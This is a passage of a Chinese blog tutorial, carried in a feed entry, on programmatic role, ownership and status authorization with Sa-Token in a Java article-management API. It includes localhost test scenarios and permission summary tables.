SaResult <span class="title function_">submitForReview</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="type">Article</span> <span class="variable">article</span> <span class="operator">=</span> articleDb.get(id);</span><br><span class="line">        <span class="keyword">if</span> (article == <span class="literal">null</span>) <span class="keyword">return</span> SaResult.error(<span class="string">&quot;文章不存在&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">long</span> <span class="variable">currentUserId</span> <span class="operator">=</span> StpUtil.getLoginIdAsLong();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 数据归属校验：只有作者本人可以提交</span></span><br><span class="line">        <span class="keyword">if</span> (!article.getAuthorId().equals(currentUserId)) &#123;</span><br><span class="line">            <span class="keyword">return</span> SaResult.error(<span class="string">&quot;只能提交自己的文章&quot;</span>).setCode(<span class="number">403</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 状态校验：只有草稿状态可以提交</span></span><br><span class="line">        <span class="keyword">if</span> (article.getStatus() != ArticleStatus.DRAFT) &#123;</span><br><span class="line">            <span class="keyword">return</span> SaResult.error(<span class="string">&quot;只有草稿状态的文章才能提交审核&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        article.setStatus(ArticleStatus.PENDING);</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;文章已提交审核，等待编辑审核&quot;</span>);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p><strong>第二部分：审核与发布</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 审核文章</span></span><br><span class="line"><span class="comment"> * 权限规则：editor 或 admin 角色可以审核，普通用户无权操作</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 用 hasRoleOr 而非 <span class="doctag">@SaCheckRole</span> 的原因：</span></span><br><span class="line"><span class="comment"> * 如果用注解 <span class="doctag">@SaCheckRole</span>(&quot;editor&quot;)，403 的提示是&quot;缺少 editor 角色&quot;，</span></span><br><span class="line"><span class="comment"> * 但实际上有 admin 角色也能通过——注解无法表达跨类型的 OR 逻辑下更友好的错误提示</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@PostMapping(&quot;/&#123;id&#125;/review&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">reviewArticle</span><span class="params">(<span class="meta">@PathVariable</span> Long id,</span></span><br><span class="line"><span class="params">                              <span class="meta">@RequestParam</span> <span class="type">boolean</span> approved)</span> &#123;</span><br><span class="line">    <span class="comment">// 角色校验：editor 或 admin 任一即可</span></span><br><span class="line">    <span class="keyword">if</span> (!StpUtil.hasRoleOr(<span class="string">&quot;editor&quot;</span>, <span class="string">&quot;admin&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.error(<span class="string">&quot;只有编辑或管理员可以审核文章&quot;</span>).setCode(<span class="number">403</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">Article</span> <span class="variable">article</span> <span class="operator">=</span> articleDb.get(id);</span><br><span class="line">    <span class="keyword">if</span> (article == <span class="literal">null</span>) <span class="keyword">return</span> SaResult.error(<span class="string">&quot;文章不存在&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 状态校验：只有待审核的文章可以审核</span></span><br><span class="line">    <span class="keyword">if</span> (article.getStatus() != ArticleStatus.PENDING) &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.error(<span class="string">&quot;只有待审核状态的文章可以审核&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    article.setStatus(approved ? ArticleStatus.APPROVED : ArticleStatus.REJECTED);</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(approved ? <span class="string">&quot;文章审核通过&quot;</span> : <span class="string">&quot;文章审核未通过&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 发布文章</span></span><br><span class="line"><span class="comment"> * 权限规则：</span></span><br><span class="line"><span class="comment"> *   admin  → 可以强制发布任何状态的文章</span></span><br><span class="line"><span class="comment"> *   editor → 只能发布已通过审核的文章</span></span><br><span class="line"><span class="comment"> *   其他   → 无权发布</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 用编程式鉴权而非注解的原因：</span></span><br><span class="line"><span class="comment"> * 同一个接口对不同角色有不同的状态限制，</span></span><br><span class="line"><span class="comment"> * 注解无法表达&quot;角色 A 跳过状态校验，角色 B 不跳过&quot;这种差异化逻辑</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@PostMapping(&quot;/&#123;id&#125;/publish&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">publishArticle</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">    <span class="type">Article</span> <span class="variable">article</span> <span class="operator">=</span> articleDb.get(id);</span><br><span class="line">    <span class="keyword">if</span> (article == <span class="literal">null</span>) <span class="keyword">return</span> SaResult.error(<span class="string">&quot;文章不存在&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// admin 可以强制发布任何状态的文章，不受状态限制</span></span><br><span class="line">    <span class="keyword">if</span> (StpUtil.hasRole(<span class="string">&quot;admin&quot;</span>)) &#123;</span><br><span class="line">        article.setStatus(ArticleStatus.PUBLISHED);</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;管理员强制发布成功&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// editor 只能发布已审核通过的文章</span></span><br><span class="line">    <span class="keyword">if</span> (StpUtil.hasRole(<span class="string">&quot;editor&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">if</span> (article.getStatus() != ArticleStatus.APPROVED) &#123;</span><br><span class="line">            <span class="keyword">return</span> SaResult.error(<span class="string">&quot;编辑只能发布已审核通过的文章，当前状态：&quot;</span> + article.getStatus());</span><br><span class="line">        &#125;</span><br><span class="line">        article.setStatus(ArticleStatus.PUBLISHED);</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;文章发布成功&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 其他角色无权发布</span></span><br><span class="line">    <span class="keyword">return</span> SaResult.error(<span class="string">&quot;无权发布文章，请联系编辑或管理员&quot;</span>).setCode(<span class="number">403</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>第三部分：撤回与查看</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 撤回文章</span></span><br><span class="line"><span class="comment">     * 权限规则：</span></span><br><span class="line"><span class="comment">     *   admin    → 可以撤回任何文章到草稿状态</span></span><br><span class="line"><span class="comment">     *   作者本人  → 只能撤回自己处于草稿或待审核状态的文章</span></span><br><span class="line"><span class="comment">     *   其他     → 无权操作</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * 这里体现了编程式鉴权中最常见的模式：</span></span><br><span class="line"><span class="comment">     * 先判断特权角色（admin），再判断数据归属，最后判断状态</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/&#123;id&#125;/withdraw&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">withdrawArticle</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="type">Article</span> <span class="variable">article</span> <span class="operator">=</span> articleDb.get(id);</span><br><span class="line">        <span class="keyword">if</span> (article == <span class="literal">null</span>) <span class="keyword">return</span> SaResult.error(<span class="string">&quot;文章不存在&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">long</span> <span class="variable">currentUserId</span> <span class="operator">=</span> StpUtil.getLoginIdAsLong();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// admin 可以撤回任何文章，无需其他判断</span></span><br><span class="line">        <span class="keyword">if</span> (StpUtil.hasRole(<span class="string">&quot;admin&quot;</span>)) &#123;</span><br><span class="line">            article.setStatus(ArticleStatus.DRAFT);</span><br><span class="line">            <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;管理员撤回成功&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 非 admin：先校验数据归属</span></span><br><span class="line">        <span class="keyword">if</span> (!article.getAuthorId().equals(currentUserId)) &#123;</span><br><span class="line">            <span class="keyword">return</span> SaResult.error(<span class="string">&quot;只能撤回自己的文章&quot;</span>).setCode(<span class="number">403</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 再校验状态：只能撤回草稿或待审核状态的文章</span></span><br><span class="line">        <span class="keyword">if</span> (article.getStatus() != ArticleStatus.DRAFT</span><br><span class="line">                &amp;&amp; article.getStatus() != ArticleStatus.PENDING) &#123;</span><br><span class="line">            <span class="keyword">return</span> SaResult.error(<span class="string">&quot;只能撤回草稿或待审核状态的文章，当前状态：&quot;</span> + article.getStatus());</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        article.setStatus(ArticleStatus.DRAFT);</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;文章撤回成功&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查看文章详情</span></span><br><span class="line"><span class="comment">     * 权限规则：</span></span><br><span class="line"><span class="comment">     *   已发布 → 所有登录用户可查看</span></span><br><span class="line"><span class="comment">     *   未发布 → 作者本人、editor、admin 可查看，其他用户无权访问</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * 用编程式鉴权而非注解的原因：</span></span><br><span class="line"><span class="comment">     * 权限判断依赖文章的当前状态（运行时数据），注解在编译期无法感知</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">getArticle</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="type">Article</span> <span class="variable">article</span> <span class="operator">=</span> articleDb.get(id);</span><br><span class="line">        <span class="keyword">if</span> (article == <span class="literal">null</span>) <span class="keyword">return</span> SaResult.error(<span class="string">&quot;文章不存在&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 已发布的文章所有登录用户都可以查看</span></span><br><span class="line">        <span class="keyword">if</span> (article.getStatus() == ArticleStatus.PUBLISHED) &#123;</span><br><span class="line">            <span class="keyword">return</span> SaResult.data(article);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">long</span> <span class="variable">currentUserId</span> <span class="operator">=</span> StpUtil.getLoginIdAsLong();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 未发布文章：管理员和编辑可以查看</span></span><br><span class="line">        <span class="keyword">if</span> (StpUtil.hasRoleOr(<span class="string">&quot;admin&quot;</span>, <span class="string">&quot;editor&quot;</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> SaResult.data(article);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 未发布文章：作者本人可以查看自己的文章</span></span><br><span class="line">        <span class="keyword">if</span> (article.getAuthorId().equals(currentUserId)) &#123;</span><br><span class="line">            <span class="keyword">return</span> SaResult.data(article);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> SaResult.error(<span class="string">&quot;无权查看此文章&quot;</span>).setCode(<span class="number">403</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="4-5-全流程测试">4.5. 全流程测试</h2><p>重启项目后，按以下顺序验证各场景下的权限判断是否符合预期。</p><p><strong>准备工作：三个账号分别登录，拿到对应 Token</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/auth/login?username=admin&amp;password=123456</span><br><span class="line">POST http://localhost:8081/auth/login?username=editor&amp;password=123456</span><br><span class="line">POST http://localhost:8081/auth/login?username=user&amp;password=123456</span><br></pre></td></tr></table></figure><p>分别记录 Token-A（admin）、Token-E（editor）、Token-U（user）。</p><p><strong>场景一：user 创建文章，记录文章 ID</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/articles?title=我的第一篇文章</span><br><span class="line">Header: satoken: &lt;Token-U&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;文章创建成功&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="number">1</span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>场景二：user 提交审核</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/articles/1/submit</span><br><span class="line">Header: satoken: &lt;Token-U&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;文章已提交审核，等待编辑审核&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>场景三：user 尝试审核文章（应被拒绝）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/articles/1/review?approved=true</span><br><span class="line">Header: satoken: &lt;Token-U&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">403</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;只有编辑或管理员可以审核文章&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>场景四：editor 审核文章</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/articles/1/review?approved=true</span><br><span class="line">Header: satoken: &lt;Token-E&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;文章审核通过&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>场景五：user 尝试发布文章（应被拒绝）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/articles/1/publish</span><br><span class="line">Header: satoken: &lt;Token-U&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">403</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;无权发布文章，请联系编辑或管理员&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>场景六：editor 发布已审核的文章</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/articles/1/publish</span><br><span class="line">Header: satoken: &lt;Token-E&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;文章发布成功&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>场景七：admin 强制发布草稿状态的文章</strong></p><p>先让 user 再创建一篇文章（不提交审核，保持草稿状态），记录 ID 为 2，然后：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/articles/2/publish</span><br><span class="line">Header: satoken: &lt;Token-A&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;管理员强制发布成功&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>admin 越过了&quot;必须先审核&quot;的流程限制，直接发布——这是 <code>hasRole(&quot;admin&quot;)</code> 分支优先执行的效果。</p><p><strong>场景八：验证已发布文章的访问权限</strong></p><p>文章 1 已发布，用 <code>user</code> 的 Token 访问：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET http://localhost:8081/articles/1</span><br><span class="line">Header: satoken: &lt;Token-U&gt;</span><br></pre></td></tr></table></figure><p>预期：正常返回文章数据（已发布，所有登录用户可查看）。</p><p><strong>场景九：验证未发布文章的访问权限</strong></p><p>再创建一篇文章（保持草稿，不提交），ID 为 3，作者是 user（userId=10002）。用 Token-E（editor）访问：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET http://localhost:8081/articles/3</span><br><span class="line">Header: satoken: &lt;Token-E&gt;</span><br></pre></td></tr></table></figure><p>预期：正常返回（editor 可查看任何文章）。</p><p>再用另一个 user 账号登录（此处用同一个 user 账号模拟&quot;他人&quot;即可，因为文章 3 的 authorId 是 10002，当前请求者也是 10002，所以会走作者本人分支——如需严格测试，可创建第二个 user 账号来验证&quot;他人无权查看草稿&quot;场景）。</p><p>以下是完整的权限测试矩阵，对照验证：</p><table><thead><tr><th>操作</th><th>admin</th><th>editor</th><th>user（作者）</th><th>未登录</th></tr></thead><tbody><tr><td>创建文章</td><td>✅</td><td>✅</td><td>✅</td><td>❌ 401</td></tr><tr><td>提交审核（自己的）</td><td>✅</td><td>✅</td><td>✅</td><td>❌ 401</td></tr><tr><td>提交审核（别人的）</td><td>❌ 403 归属</td><td>❌ 403 归属</td><td>❌ 403 归属</td><td>❌ 401</td></tr><tr><td>审核文章</td><td>✅</td><td>✅</td><td>❌ 403 角色</td><td>❌ 401</td></tr><tr><td>发布（草稿/待审）</td><td>✅ 强制</td><td>❌ 403 状态</td><td>❌ 403 角色</td><td>❌ 401</td></tr><tr><td>发布（已审核）</td><td>✅</td><td>✅</td><td>❌ 403 角色</td><td>❌ 401</td></tr><tr><td>撤回（自己的文章）</td><td>✅</td><td>❌ 403 归属</td><td>✅（草稿/待审）</td><td>❌ 401</td></tr><tr><td>撤回（任意文章）</td><td>✅</td><td>❌ 403 归属</td><td>❌ 403 归属</td><td>❌ 401</td></tr><tr><td>查看（已发布）</td><td>✅</td><td>✅</td><td>✅</td><td>❌ 401</td></tr><tr><td>查看（未发布，自己的）</td><td>✅</td><td>✅</td><td>✅</td><td>❌ 401</td></tr><tr><td>查看（未发布，他人的）</td><td>✅</td><td>✅</td><td>❌ 403</td><td>❌ 401</td></tr></tbody></table><hr><h2 id="4-6-本章总结">4.6. 本章总结</h2><p><strong>本章回顾</strong></p><p>本章完成了编程式鉴权的完整建设。在 API 层面，系统梳理了 <code>has</code> 系列（返回 boolean，适合条件分支）和 <code>check</code> 系列（抛异常，适合直接中断）两组方法的完整签名，以及 <code>getPermissionList()</code> 和 <code>getRoleList()</code> 四个获取型 API 的用法。在实战层面，文章管理系统的六条业务规则覆盖了编程式鉴权的三种核心应用场景：<strong>纯角色判断</strong>（<code>hasRoleOr</code> 做多角色 OR 分支）、<strong>角色 + 状态组合判断</strong>（不同角色跳过不同的状态限制）、<strong>角色 + 数据归属组合判断</strong>（admin 全局权限优先，作者只能操作自己的数据）。为了覆盖三种角色的完整测试路径，同步在 <code>LoginController</code> 和 <code>StpInterfaceImpl</code> 中补充了 editor 账号及其权限映射。九个测试场景从&quot;创建 → 提交 → 审核 → 发布 → 查看&quot;完整串联了文章的生命周期，最终形成覆盖四种身份的权限测试矩阵。</p><p><strong>核心汇总表</strong></p><table><thead><tr><th>API 分组</th><th>方法示例</th><th>返回值</th><th>失败行为</th><th>适用场景</th></tr></thead><tbody><tr><td>has 系列</td><td><code>hasRole()</code> / <code>hasPermission()</code></td><td><code>boolean</code></td><td>返回 false</td><td>条件分支（if-else）</td></tr><tr><td>has 系列（多值）</td><td><code>hasRoleOr()</code> / <code>hasPermissionAnd()</code></td><td><code>boolean</code></td><td>返回 false</td><td>多角色/权限组合判断</td></tr><tr><td>check 系列</td><td><code>checkRole()</code> / <code>checkPermission()</code></td><td><code>void</code></td><td>抛出异常</td><td>不满足则直接中断请求</td></tr><tr><td>check 系列（多值）</td><td><code>checkRoleOr()</code> / <code>checkPermissionAnd()</code></td><td><code>void</code></td><td>抛出异常</td><td>多角色/权限组合校验</td></tr><tr><td>获取型</td><td><code>getPermissionList()</code> / <code>getRoleList()</code></td><td><code>List&lt;String&gt;</code></td><td>—</td><td>返回完整权限/角色列表</td></tr></tbody></table><table><thead><tr><th>编程式鉴权的三种核心场景</th><th>判断维度</th><th>推荐写法</th></tr></thead><tbody><tr><td>纯角色 / 权限判断</td><td>只看角色或权限码</td><td><code>hasRole</code> / <code>hasRoleOr</code> + if-else</td></tr><tr><td>角色 + 状态组合</td><td>不同角色跳过不同状态限制</td><td>先判断高权限角色（admin），再判断低权限角色条件</td></tr><tr><td>角色 + 数据归属组合</td><td>特权角色不受归属限制，普通用户只能操作自己的</td><td>先判断特权角色，再判断归属，最后判断状态</td></tr></tbody></table><table><thead><tr><th>注解鉴权 vs 编程式鉴权</th><th>注解无法表达的场景</th></tr></thead><tbody><tr><td>数据归属判断</td><td>只有作者本人可以操作</td></tr><tr><td>状态依赖的权限</td><td>文章必须是&quot;已审核&quot;才能发布</td></tr><tr><td>角色差异化分支</td><td>admin 强制发布，editor 受状态限制</td></tr><tr><td>运行时数据组合条件</td><td>任何依赖数据库查询结果的权限判断</td></tr></tbody></table></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/66742.html</id>
    <link href="https://blog.prorisehub.com/posts/66742.html"/>
    <published>2026-02-08T05:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h1>第一章.]]>
    </summary>
    <title>登录注册番外篇（二） - Sa-Token：权限认证完全指南</title>
    <updated>2026-05-07T03:10:51.033Z</updated>
  </entry>
</feed>
